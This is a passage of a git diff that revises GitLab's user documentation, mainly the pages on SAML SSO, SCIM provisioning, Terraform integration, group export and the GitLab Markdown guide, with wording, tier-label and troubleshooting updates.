b/doc/user/group/saml_sso/group_managed_accounts.md index 7158b7bc86b..dd0888a610f 100644 --- a/doc/user/group/saml_sso/group_managed_accounts.md +++ b/doc/user/group/saml_sso/group_managed_accounts.md @@ -9,9 +9,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w WARNING: This [Closed Beta](https://about.gitlab.com/handbook/product/gitlab-the-product/#sts=Closed%20Beta) feature is being re-evaluated in favor of a different -[identity model](https://gitlab.com/groups/gitlab-org/-/epics/4345) that does not require separate accounts. -We recommend that group administrators who haven't yet implemented this feature wait for -the new solution. +[approach](https://gitlab.com/groups/gitlab-org/-/epics/4786) that aligns more closely with our [Subscription Agreement](https://about.gitlab.com/handbook/legal/subscription-agreement/). +We recommend that group owners who haven't yet implemented this feature wait for the new solution. > - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/709) in GitLab 12.1. > - It's deployed behind a feature flag, disabled by default. @@ -50,7 +49,7 @@ assertions to be able to create a user. | First Name | `first_name`, `firstname`, `firstName` | | Last Name | `last_name`, `lastname`, `lastName` | -## Feature flag **(PREMIUM ONLY)** +## Feature flag **(PREMIUM SELF)** The group-managed accounts feature is behind these feature flags: `group_managed_accounts`, `sign_up_on_sso` and `convert_user_to_group_managed_accounts`. The flags are disabled by default. To activate the feature, ask a GitLab administrator with Rails console access to run: diff --git a/doc/user/group/saml_sso/index.md b/doc/user/group/saml_sso/index.md index 0ce92eac1a3..d1c490b0769 100644 --- a/doc/user/group/saml_sso/index.md +++ b/doc/user/group/saml_sso/index.md @@ -5,7 +5,7 @@ group: Access info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# SAML SSO for GitLab.com groups **(SILVER ONLY)** +# SAML SSO for GitLab.com groups **(PREMIUM SAAS)** > Introduced in GitLab 11.0. @@ -18,14 +18,15 @@ If you follow our guidance to automate user provisioning using [SCIM](scim_setup User synchronization of SAML SSO groups is supported through [SCIM](scim_setup.md). SCIM supports adding and removing users from the GitLab group. For example, if you remove a user from the SCIM app, SCIM removes that same user from the GitLab group. -SAML SSO is not supported at the subgroup level. +SAML SSO is only configurable at the top-level group. ## Configuring your Identity Provider -1. Navigate to the group and click **Settings > SAML SSO**. +1. Navigate to the group and select **Settings > SAML SSO**. 1. Configure your SAML server using the **Assertion consumer service URL**, **Identifier**, and **GitLab single sign-on URL**. Alternatively GitLab provides [metadata XML configuration](#metadata-configuration). See [specific identity provider documentation](#providers) for more details. 1. Configure the SAML response to include a NameID that uniquely identifies each user. 1. Configure [required assertions](group_managed_accounts.md#assertions) if using [Group Managed Accounts](group_managed_accounts.md). +1. While the default is enabled for most SAML providers, please ensure the app is set to have [Service Provider](#glossary) initiated calls in order to link existing GitLab accounts. 1. Once the identity provider is set up, move on to [configuring GitLab](#configuring-gitlab).  @@ -56,7 +57,7 @@ We recommend setting the NameID format to `Persistent` unless using a field (suc GitLab provides metadata XML that can be used to configure your Identity Provider. -1. Navigate to the group and click **Settings > SAML SSO**. +1. Navigate to the group and select **Settings > SAML SSO**. 1. Copy the provided **GitLab metadata URL**. 1. Follow your Identity Provider's documentation and paste the metadata URL when it's requested. @@ -68,8 +69,8 @@ After you set up your identity provider to work with GitLab, you must configure 1. Find the SSO URL from your Identity Provider and enter it the **Identity provider single sign-on URL** field. 1. Find and enter the fingerprint for the SAML token signing certificate in the **Certificate** field. 1. Select the access level to be applied to newly added users in the **Default membership role** field. The default access level is 'Guest'. -1. Click the **Enable SAML authentication for this group** toggle switch. -1. Click the **Save changes** button. +1. Select the **Enable SAML authentication for this group** toggle switch. +1. Select the **Save changes** button.  @@ -110,7 +111,8 @@ When [configuring your identify provider](#configuring-your-identity-provider), ### Azure setup notes <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> -For a demo of the Azure SAML setup including SCIM, see [SCIM Provisioning on Azure Using SAML SSO for Groups Demo](https://youtu.be/24-ZxmTeEBU). Please note that the video is outdated in regards to objectID mapping and the [SCIM documentation should be followed](scim_setup.md#azure-configuration-steps). +For a demo of the Azure SAML setup including SCIM, see [SCIM Provisioning on Azure Using SAML SSO for Groups Demo](https://youtu.be/24-ZxmTeEBU). Please note that the video is outdated in regard to +objectID mapping and the [SCIM documentation should be followed](scim_setup.md#azure-configuration-steps). | GitLab Setting | Azure Field | |--------------|----------------| @@ -214,7 +216,7 @@ To link SAML to your existing GitLab.com account: 1. Sign in to your GitLab.com account. 1. Locate and visit the **GitLab single sign-on URL** for the group you're signing in to. A group owner can find this on the group's **Settings > SAML SSO** page. If the sign-in URL is configured, users can connect to the GitLab app from the Identity Provider. -1. Click **Authorize**. +1. Select **Authorize**. 1. Enter your credentials on the Identity Provider if prompted. 1. You are then redirected back to GitLab.com and should now have access to the group. In the future, you can use SAML to sign in to GitLab.com. @@ -223,7 +225,7 @@ On subsequent visits, you should be able to go [sign in to GitLab.com with SAML] ### Signing in to GitLab.com with SAML 1. Sign in to your identity provider. -1. From the list of apps, click on the "GitLab.com" app (The name is set by the administrator of the identity provider). +1. From the list of apps, select the "GitLab.com" app. (The name is set by the administrator of the identity provider.) 1. You are then signed in to GitLab.com and redirected to the group. ### Configure user settings from SAML response @@ -280,7 +282,7 @@ If a user is already a member of the group, linking the SAML identity does not c To rescind access to the group, perform the following steps, in order: -1. Remove the user from the user datastore on the identity provider or the list of users on the specific app. +1. Remove the user from the user data store on the identity provider or the list of users on the specific app. 1. Remove the user from the GitLab.com group. ### Unlinking accounts @@ -291,10 +293,19 @@ Users can unlink SAML for a group from their profile page. This can be helpful i - Your SAML NameID has changed and so GitLab can no longer find your user. WARNING: -Unlinking an account removes all roles assigned to that user within the group. -If a user relinks their account, roles need to be reassigned. +Unlinking an account removes all roles assigned to that user in the group. +If a user re-links their account, roles need to be reassigned. -For example, to unlink the `MyOrg` account, the following **Disconnect** button is available under **Profile > Accounts**: +Groups require at least one owner. If your account is the only owner in the +group, you are not allowed to unlink the account. In that case, set up another user as a +group owner, and then you can unlink the account. + +For example, to unlink the `MyOrg` account: + +1. In the top-right corner, select your avatar. +1. Select **Edit profile**. +1. In the left sidebar, select **Account**. +1. In the **Social sign-in** section, select **Disconnect** next to the connected account.  @@ -341,9 +352,9 @@ access. | Term | Description | |------|-------------| -| Identity Provider | The service which manages your user identities such as ADFS, Okta, Onelogin, or Ping Identity. | +| Identity Provider | The service which manages your user identities such as ADFS, Okta, OneLogin, or Ping Identity. | | Service Provider | SAML considers GitLab to be a service provider. | -| Assertion | A piece of information about a user's identity, such as their name or role. Also know as claims or attributes. | +| Assertion | A piece of information about a user's identity, such as their name or role. Also known as claims or attributes. | | SSO | Single Sign On. | | Assertion consumer service URL | The callback on GitLab where users are redirected after successfully authenticating with the identity provider. | | Issuer | How GitLab identifies itself to the identity provider. Also known as a "Relying party trust identifier". | @@ -376,7 +387,7 @@ For convenience, we've included some [example resources](../../../administration ### Verifying NameID -In troubleshooting the Group SAML setup, any authenticated user can use the API to verify the NameID GitLab already has linked to the user by visiting [https://gitlab.com/api/v4/user](https://gitlab.com/api/v4/user) and checking the `extern_uid` under identities. +In troubleshooting the Group SAML setup, any authenticated user can use the API to verify the NameID GitLab already has linked to the user by visiting [`https://gitlab.com/api/v4/user`](https://gitlab.com/api/v4/user) and checking the `extern_uid` under identities. Similarly, group members of a role with the appropriate permissions can make use of the [members API](../../../api/members.md) to view group SAML identity information for members of the group. @@ -387,7 +398,7 @@ This can then be compared to the [NameID](#nameid) being sent by the Identity Pr If a user is trying to sign in for the first time and the GitLab single sign-on URL has not [been configured](#configuring-your-identity-provider), they may see a 404. As outlined in the [user access section](#linking-saml-to-your-existing-gitlabcom-account), a group Owner will need to provide the URL to users. -### Message: "SAML authentication failed: Extern uid has already been taken" +### Message: "SAML authentication failed: Extern UID has already been taken" This error suggests you are signed in as a GitLab user but have already linked your SAML identity to a different GitLab user. Sign out and then try to sign in again using the SSO SAML link, which should log you into GitLab with the linked user account. @@ -408,7 +419,7 @@ Here are possible causes and solutions: |------------------------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------| | When a user account with the email address already exists in GitLab, but the user does not have the SAML identity tied to their account. | The user will need to [link their account](#user-access-and-management). | -### Message: "SAML authentication failed: Extern uid has already been taken, User has already been taken" +### Message: "SAML authentication failed: Extern UID has already been taken, User has already been taken" Getting both of these errors at the same time suggests the NameID capitalization provided by the Identity Provider didn't exactly match the previous value for that user. @@ -418,6 +429,11 @@ This can be prevented by configuring the [NameID](#nameid) to return a consisten Ensure that the user who is trying to link their GitLab account has been added as a user within the identity provider's SAML app. +Alternatively, the SAML response may be missing the `InResponseTo` attribute in the +`samlp:Response` tag, which is [expected by the SAML gem](https://github.com/onelogin/ruby-saml/blob/9f710c5028b069bfab4b9e2b66891e0549765af5/lib/onelogin/ruby-saml/response.rb#L307-L316). +The [Identity Provider](#glossary) administrator should ensure that the login is +initiated by the Service Provider (typically GitLab) and not the Identity Provider. + ### Stuck in a login "loop" Ensure that the **GitLab single sign-on URL** has been configured as "Login URL" (or similarly named field) in the identity provider's SAML app. @@ -446,3 +462,25 @@ However, self-managed GitLab instances use a configuration file that supports mo Internally that uses the [`ruby-saml` library](https://github.com/onelogin/ruby-saml), so we sometimes check there to verify low level details of less commonly used options. It can also help to compare the XML response from your provider with our [example XML used for internal testing](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/spec/fixtures/saml/response.xml). + +### Searching Rails log + +With access to the rails log or `production_json.log` (available only to GitLab team members for GitLab.com), +you should be able to find the base64 encoded SAML response by searching with the following filters: + +- `json.meta.caller_id`: `Groups::OmniauthCallbacksController#group_saml` +- `json.meta.user` or `json.username`: `username` +- `json.method`: `POST` +- `json.path`: `/groups/GROUP-PATH/-/saml/callback` + +In a relevant log entry, the `json.params` should provide a valid response with: + +- `"key": "SAMLResponse"` and the `"value": (full SAML response)`, +- `"key": "RelayState"` with `"value": "/group-path"`, and +- `"key": "group_id"` with `"value": "group-path"`. + +In some cases, if the SAML response is lengthy, you may receive a `"key": "truncated"` with `"value":"..."`. +In these cases, please ask a group owner for a copy of the SAML response from when they select +the "Verify SAML Configuration" button on the group SSO Settings page. + +Use a base64 decoder to see a human-readable version of the SAML response. diff --git a/doc/user/group/saml_sso/scim_setup.md b/doc/user/group/saml_sso/scim_setup.md index cd3e99ae541..3a34a4b0599 100644 --- a/doc/user/group/saml_sso/scim_setup.md +++ b/doc/user/group/saml_sso/scim_setup.md @@ -5,9 +5,9 @@ group: Access info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# SCIM provisioning using SAML SSO for GitLab.com groups **(SILVER ONLY)** +# SCIM provisioning using SAML SSO for GitLab.com groups **(PREMIUM SAAS)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/9388) in [GitLab.com Silver](https://about.gitlab.com/pricing/) 11.10. +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/9388) in GitLab Premium 11.10. System for Cross-domain Identity Management (SCIM), is an open standard that enables the automation of user provisioning. When SCIM is provisioned for a GitLab group, membership of @@ -260,7 +260,7 @@ It is important not to update these to incorrect values, since this will cause u Individual users can follow the instructions in the ["SAML authentication failed: User has already been taken"](index.md#i-need-to-change-my-saml-app) section. -Alternatively, users can be removed from the SCIM app which will delink all removed users. Sync can then be turned on for the new SCIM app to [link existing users](#user-access-and-linking-setup). +Alternatively, users can be removed from the SCIM app which de-links all removed users. Sync can then be turned on for the new SCIM app to [link existing users](#user-access-and-linking-setup). ### The SCIM app is throwing `"User has already been taken","status":409` error message diff --git a/doc/user/group/security_dashboard/index.md b/doc/user/group/security_dashboard/index.md deleted file mode 100644 index 3feccf2e342..00000000000 --- a/doc/user/group/security_dashboard/index.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../application_security/security_dashboard/index.md' ---- - -This document was moved to [another location](../../application_security/security_dashboard/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/group/settings/import_export.md b/doc/user/group/settings/import_export.md index 6b95388bf2e..bb7c1e26544 100644 --- a/doc/user/group/settings/import_export.md +++ b/doc/user/group/settings/import_export.md @@ -48,6 +48,7 @@ The following items are exported: - Subgroups (including all the aforementioned data) - Epics - Events +- Wikis **(PREMIUM SELF)** (Introduced in [GitLab 13.9](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/53247)) The following items are **not** exported: @@ -69,7 +70,7 @@ For more details on the specific data persisted in a group export, see the  -1. Once the export is generated, you should receive an e-mail with a link to the [exported contents](#exported-contents) +1. After the export is generated, you should receive an e-mail with a link to the [exported contents](#exported-contents) in a compressed tar archive, with contents in JSON format. 1. Alternatively, you can come back to the project settings and download the @@ -77,7 +78,7 @@ For more details on the specific data persisted in a group export, see the NOTE: The maximum import file size can be set by the Administrator, default is `0` (unlimited). -As an administrator, you can modify the maximum import file size. To do so, use the `max_import_size` option in the [Application settings API](../../../api/settings.md#change-application-settings) or the [Admin UI](../../admin_area/settings/account_and_limit_settings.md). +As an administrator, you can modify the maximum import file size. To do so, use the `max_import_size` option in the [Application settings API](../../../api/settings.md#change-application-settings) or the [Admin UI](../../admin_area/settings/account_and_limit_settings.md). Default [modified](https://gitlab.com/gitlab-org/gitlab/-/issues/251106) from 50MB to 0 in GitLab 13.8. ### Between CE and EE diff --git a/doc/user/group/value_stream_analytics/index.md b/doc/user/group/value_stream_analytics/index.md index 438769872c0..4fcef07a04e 100644 --- a/doc/user/group/value_stream_analytics/index.md +++ b/doc/user/group/value_stream_analytics/index.md @@ -324,7 +324,7 @@ To delete a custom value stream: This chart visually depicts the total number of days it takes for cycles to be completed. (Totals are being replaced with averages in [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/262070).) This chart uses the global page filters for displaying data based on the selected -group, projects, and timeframe. In addition, specific stages can be selected +group, projects, and time frame. In addition, specific stages can be selected from within the chart itself. The chart data is limited to the last 500 items. @@ -345,7 +345,7 @@ Feature.disable(:cycle_analytics_scatterplot_enabled) This chart shows a cumulative count of issues and merge requests per day. This chart uses the global page filters for displaying data based on the selected -group, projects, and timeframe. The chart defaults to showing counts for issues but can be +group, projects, and time frame. The chart defaults to showing counts for issues but can be toggled to show data for merge requests and further refined for specific group-level labels. By default the top group-level labels (max. 10) are pre-selected, with the ability to diff --git a/doc/user/img/activity_followed_users_v13_9.png b/doc/user/img/activity_followed_users_v13_9.png Binary files differnew file mode 100644 index 00000000000..3c0a9de74b4 --- /dev/null +++ b/doc/user/img/activity_followed_users_v13_9.png diff --git a/doc/user/incident_management/index.md b/doc/user/incident_management/index.md deleted file mode 100644 index ed3516df168..00000000000 --- a/doc/user/incident_management/index.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../operations/incident_management/index.md' ---- - -This document was moved to [../../operations/incident_management/index.md](../../operations/incident_management/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/index.md b/doc/user/index.md index 3b2acfab34c..a678038507f 100644 --- a/doc/user/index.md +++ b/doc/user/index.md @@ -43,7 +43,7 @@ GitLab is a Git-based platform that integrates a great number of essential tools - Hosting code in repositories with version control. - Tracking proposals for new implementations, bug reports, and feedback with a fully featured [Issue Tracker](project/issues/index.md#issues-list). -- Organizing and prioritizing with [Issue Boards](project/issues/index.md#issue-boards). +- Organizing and prioritizing with [Issue Boards](project/issue_board.md). - Reviewing code in [Merge Requests](project/merge_requests/index.md) with live-preview changes per branch with [Review Apps](../ci/review_apps/index.md). - Building, testing, and deploying with built-in [Continuous Integration](../ci/README.md). @@ -83,6 +83,14 @@ There are several types of users in GitLab: self-managed instances' features and settings. - [Internal users](../development/internal_users.md). +## User activity + +You can follow or unfollow other users from their [user profiles](profile/index.md#user-profile). +To see their activity in the top-level Activity view, select Follow or Unfollow, and select +the Followed Users tab: + + + ## Projects In GitLab, you can create [projects](project/index.md) to host diff --git a/doc/user/infrastructure/index.md b/doc/user/infrastructure/index.md index 60453b007ba..6ba5e49d553 100644 --- a/doc/user/infrastructure/index.md +++ b/doc/user/infrastructure/index.md @@ -4,7 +4,7 @@ group: Configure info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Infrastructure as code with Terraform and GitLab +# Infrastructure as code with Terraform and GitLab **(FREE)** ## Motivation @@ -26,6 +26,8 @@ variables: # If not using GitLab's HTTP backend, remove this line and specify TF_HTTP_* variables TF_STATE_NAME: default TF_CACHE_KEY: default + # If your terraform files are in a subdirectory, set TF_ROOT accordingly + # TF_ROOT: terraform/production ``` This template uses `.latest.`, instead of stable, and may include breaking changes. @@ -39,6 +41,15 @@ This template also includes some opinionated decisions, which you can override: [run the Terraform commands](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Terraform/Base.latest.gitlab-ci.yml) `init`, `validate`, `plan`, `plan-json`, and `apply`. The `apply` command only runs on `master`. +This video from January 2021 walks you through all the GitLab Terraform integration features: + +<div class="video-fallback"> + See the video: <a href="https://www.youtube.com/watch?v=iGXjUrkkzDI">Terraform with GitLab</a>. +</div> +<figure class="video-container"> + <iframe src="https://www.youtube.com/embed/iGXjUrkkzDI" frameborder="0" allowfullscreen="true"> </iframe> +</figure> + ## GitLab Managed Terraform state [Terraform remote backends](https://www.terraform.io/docs/backends/index.html) diff --git a/doc/user/infrastructure/mr_integration.md b/doc/user/infrastructure/mr_integration.md index 2704e7b7c8d..927552b90be 100644 --- a/doc/user/infrastructure/mr_integration.md +++ b/doc/user/infrastructure/mr_integration.md @@ -4,7 +4,7 @@ group: Configure info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Terraform integration in Merge Requests +# Terraform integration in Merge Requests **(FREE)** Collaborating around Infrastructure as Code (IaC) changes requires both code changes and expected infrastructure changes to be checked and approved. GitLab provides a solution to help collaboration around Terraform code changes and their expected effects using the Merge Request pages. This way users don't have to build custom tools or rely on 3rd party solutions to streamline their IaC workflows. diff --git a/doc/user/infrastructure/terraform_state.md b/doc/user/infrastructure/terraform_state.md index 30838b1cabd..ae35ebce0dc 100644 --- a/doc/user/infrastructure/terraform_state.md +++ b/doc/user/infrastructure/terraform_state.md @@ -4,7 +4,7 @@ group: Configure info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# GitLab managed Terraform State +# GitLab managed Terraform State **(FREE)** > [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2673) in GitLab 13.0. @@ -18,10 +18,14 @@ The GitLab managed Terraform state backend can store your Terraform state easily securely, and spares you from setting up additional remote resources like Amazon S3 or Google Cloud Storage. Its features include: +- Versioning of Terraform state files. - Supporting encryption of the state file both in transit and at rest. - Locking and unlocking state. - Remote Terraform plan and apply execution. +A GitLab **administrator** must [setup the Terraform state storage configuration](../../administration/terraform_state.md) +before using this feature. + ## Permissions for using Terraform In GitLab version 13.1, [Maintainer access](../permissions.md) was required to use a diff --git a/doc/user/markdown.md b/doc/user/markdown.md index be6e483aa54..5f974d75522 100644 --- a/doc/user/markdown.md +++ b/doc/user/markdown.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, howto --- -# GitLab Markdown +# GitLab Markdown **(FREE)** This Markdown guide is **valid only for the GitLab internal Markdown rendering system for entries and files**. It is **not** valid for the [GitLab documentation website](https://docs.gitlab.com) @@ -21,7 +21,7 @@ We encourage you to view this document as [rendered by GitLab itself](https://gi ## GitLab Flavored Markdown (GFM) GitLab uses "GitLab Flavored Markdown" (GFM). It extends the [CommonMark specification](https://spec.commonmark.org/current/) -(which is based on standard Markdown) in several ways to add additional useful functionality. +(which is based on standard Markdown) in several ways to add more features. It was inspired by [GitHub Flavored Markdown](https://docs.github.com/en/free-pro-team@latest/github/writing-on-github/basic-writing-and-formatting-syntax). You can use GFM in the following areas: @@ -41,20 +41,23 @@ for more information. ### Transition from Redcarpet to CommonMark -Since 11.1, GitLab uses the [CommonMark Ruby Library](https://github.com/gjtorikian/commonmarker) -for Markdown processing of all new issues, merge requests, comments, and other Markdown -content in the GitLab system. Since 11.3, wiki pages and Markdown files (`*.md`) in -repositories are also processed with CommonMark. As of 11.8, the [Redcarpet Ruby library](https://github.com/vmg/redcarpet) -has been removed and all issues and comments, including those from pre-11.1, are now processed -using the [CommonMark Ruby Library](https://github.com/gjtorikian/commonmarker). - -The documentation website had its [Markdown engine migrated from Redcarpet to Kramdown](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests/108) +- In GitLab version 11.8, the [Redcarpet Ruby library](https://github.com/vmg/redcarpet) + was removed. All issues and comments, including those from pre-11.1, are now processed + using the [CommonMark Ruby Library](https://github.com/gjtorikian/commonmarker). +- GitLab versions 11.3 and greater use CommonMark to process wiki pages and Markdown + files (`*.md`) in repositories. +- GitLab versions 11.1 and greater use the [CommonMark Ruby Library](https://github.com/gjtorikian/commonmarker) + for Markdown processing of all new issues, merge requests, comments, and other Markdown + content in the GitLab system. + +The documentation website migrated its Markdown engine +[from Redcarpet to Kramdown](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests/108) in October 2018. You may have older issues, merge requests, or Markdown documents in your -repository that were written using some of the nuances of the GitLab RedCarpet version -of Markdown. Since CommonMark uses slightly stricter syntax, these documents -might now appear a little differently since we have transitioned to CommonMark. +repository that relied upon nuances of the GitLab RedCarpet version +of Markdown. Because CommonMark uses slightly stricter syntax, these documents +may now appear differently after the transition to CommonMark. For example, numbered lists with nested lists may render incorrectly: @@ -80,23 +83,24 @@ character of the top list item (`C` in this case): We flag any significant differences between Redcarpet and CommonMark Markdown in this document. -If you have a large volume of Markdown files, it can be tedious to determine +If you have many Markdown files, it can be tedious to determine if they display correctly or not. You can use the [`diff_redcarpet_cmark`](https://gitlab.com/digitalmoksha/diff_redcarpet_cmark) -tool (not an officially supported product) to generate a list of files and the -differences between how RedCarpet and CommonMark render the files. It gives -an indication if anything needs to be changed - often nothing needs -to change. +tool to generate a list of files and the +differences between how RedCarpet and CommonMark render the files. It indicates +if any changes are needed. + +`diff_redcarpet_cmark` is not an officially supported product. ### GFM extends standard Markdown -GitLab makes full use of the standard (CommonMark) formatting, but also includes additional -functionality useful for GitLab users. +GitLab makes full use of the standard (CommonMark) formatting, but also includes more +helpful features for GitLab users. It makes use of [new Markdown features](#new-gfm-markdown-extensions), not found in standard Markdown: -- [Color "chips" written in HEX, RGB or HSL](#colors) +- [Color chips written in HEX, RGB or HSL](#colors) - [Diagrams and flowcharts](#diagrams-and-flowcharts) - [Emoji](#emoji) - [Front matter](#front-matter) @@ -124,7 +128,7 @@ changing how standard Markdown is used: ### Colors -If this section is not rendered correctly, [view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#colors). +If this section isn't rendered correctly, [view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#colors). It's possible to have color written in HEX, RGB, or HSL format rendered with a color indicator. @@ -168,9 +172,12 @@ It's also possible to use [Kroki](https://kroki.io) to create a wide variety of > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/15107) in GitLab 10.3. -Visit the [official page](https://mermaidjs.github.io/) for more details. If you're new to using Mermaid or need help identifying issues in your Mermaid code, the [Mermaid Live Editor](https://mermaid-js.github.io/mermaid-live-editor/) is a helpful tool for creating and resolving issues within Mermaid diagrams. +Visit the [official page](https://mermaidjs.github.io/) for more details. The +[Mermaid Live Editor](https://mermaid-js.github.io/mermaid-live-editor/) helps you +learn Mermaid and debug issues in your Mermaid code. Use it to identify and resolve +issues in your diagrams. -In order to generate a diagram or flowchart, you should write your text inside the `mermaid` block: +To generate a diagram or flowchart, write your text inside the `mermaid` block: ````markdown ```mermaid @@ -239,42 +246,46 @@ Read more in the [Kroki integration](../administration/integration/kroki.md) pag ### Emoji -If this section is not rendered correctly, [view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#emoji). +If this section isn't rendered correctly, [view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#emoji). ```markdown Sometimes you want to :monkey: around a bit and add some :star2: to your :speech_balloon:. Well we have a gift for you: :zap: You can use emoji anywhere GFM is supported. :v: -You can use it to point out a :bug: or warn about :speak_no_evil: patches. And if someone improves your really :snail: code, send them some :birthday:. People will :heart: you for that. +You can use it to point out a :bug: or warn about :speak_no_evil: patches. And if someone improves your really :snail: code, send them some :birthday:. People :heart: you for that. If you're new to this, don't be :fearful:. You can join the emoji :family:. All you need to do is to look up one of the supported codes. Consult the [Emoji Cheat Sheet](https://www.emojicopy.com) for a list of all supported emoji codes. :thumbsup: ``` -Sometimes you want to <img src="https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/assets/images/emoji/monkey.png" width="20px" height="20px" style="display:inline;margin:0"> around a bit and add some <img src="https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/assets/images/emoji/star2.png" width="20px" height="20px" style="display:inline;margin:0"> to your <img src="https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/assets/images/emoji/speech_balloon.png" width="20px" height="20px" style="display:inline;margin:0">. Well we have a gift for you: +Sometimes you want to <img src="https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/assets/images/emoji/monkey.png" width="20px" height="20px" style="display:inline;margin:0;border: 0"> around a bit and add some <img src="https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/assets/images/emoji/star2.png" width="20px" height="20px" style="display:inline;margin:0;border: 0"> to your <img src="https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/assets/images/emoji/speech_balloon.png" width="20px" height="20px" style="display:inline;margin:0;border: 0">. Well we have a gift for you: -<img src="https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/assets/images/emoji/zap.png" width="20px" height="20px" style="display:inline;margin:0">You can use emoji anywhere GFM is supported. <img src="https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/assets/images/emoji/v.png" width="20px" height="20px" style="display:inline;margin:0"> +<img src="https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/assets/images/emoji/zap.png" width="20px" height="20px" style="display:inline;margin:0;border: 0">You can use emoji anywhere GFM is supported. <img src="https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/assets/images/emoji/v.png" width="20px" height="20px" style="display:inline;margin:0;border: 0"> -You can use it to point out a <img src="https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/assets/images/emoji/bug.png" width="20px" height="20px" style="display:inline;margin:0"> or warn about <img src="https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/assets/images/emoji/speak_no_evil.png" width="20px" height="20px" style="display:inline;margin:0"> patches. And if someone improves your really <img src="https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/assets/images/emoji/snail.png" width="20px" height="20px" style="display:inline;margin:0"> code, send them some <img src="https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/assets/images/emoji/birthday.png" width="20px" height="20px" style="display:inline;margin:0">. People will <img src="https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/assets/images/emoji/heart.png" width="20px" height="20px" style="display:inline;margin:0"> you for that. +You can use it to point out a<img src="https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/assets/images/emoji/bug.png" width="20px" height="20px" style="display:inline;margin:0;border: 0"> or warn about <img src="https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/assets/images/emoji/speak_no_evil.png" width="20px" height="20px" style="display:inline;margin:0;border: 0"> patches. If someone improves your really <img src="https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/assets/images/emoji/snail.png" width="20px" height="20px" style="display:inline;margin:0;border: 0"> code, send them some <img src="https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/assets/images/emoji/birthday.png" width="20px" height="20px" style="display:inline;margin:0;border: 0">. People <img src="https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/assets/images/emoji/heart.png" width="20px" height="20px" style="display:inline;margin:0;border: 0"> you for that. -If you're new to this, don't be <img src="https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/assets/images/emoji/fearful.png" width="20px" height="20px" style="display:inline;margin:0">. You can join the emoji <img src="https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/assets/images/emoji/family.png" width="20px" height="20px" style="display:inline;margin:0">. All you need to do is to look up one of the supported codes. +If you're new to this, don't be <img src="https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/assets/images/emoji/fearful.png" width="20px" height="20px" style="display:inline;margin:0;border: 0">. You can join the emoji <img src="https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/assets/images/emoji/family.png" width="20px" height="20px" style="display:inline;margin:0;border: 0">. All you need to do is to look up one of the supported codes. -Consult the [Emoji Cheat Sheet](https://www.webfx.com/tools/emoji-cheat-sheet/) for a list of all supported emoji codes. <img src="https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/assets/images/emoji/thumbsup.png" width="20px" height="20px" style="display:inline;margin:0"> +Consult the [Emoji Cheat Sheet](https://www.webfx.com/tools/emoji-cheat-sheet/) for a list of all supported emoji codes. <img src="https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/assets/images/emoji/thumbsup.png" width="20px" height="20px" style="display:inline;margin:0;border: 0"> #### Emoji and your OS -The emoji example above uses hard-coded images for this documentation. The emoji, -when rendered within GitLab, may appear different depending on the OS and browser used. +The emoji example above uses hard-coded 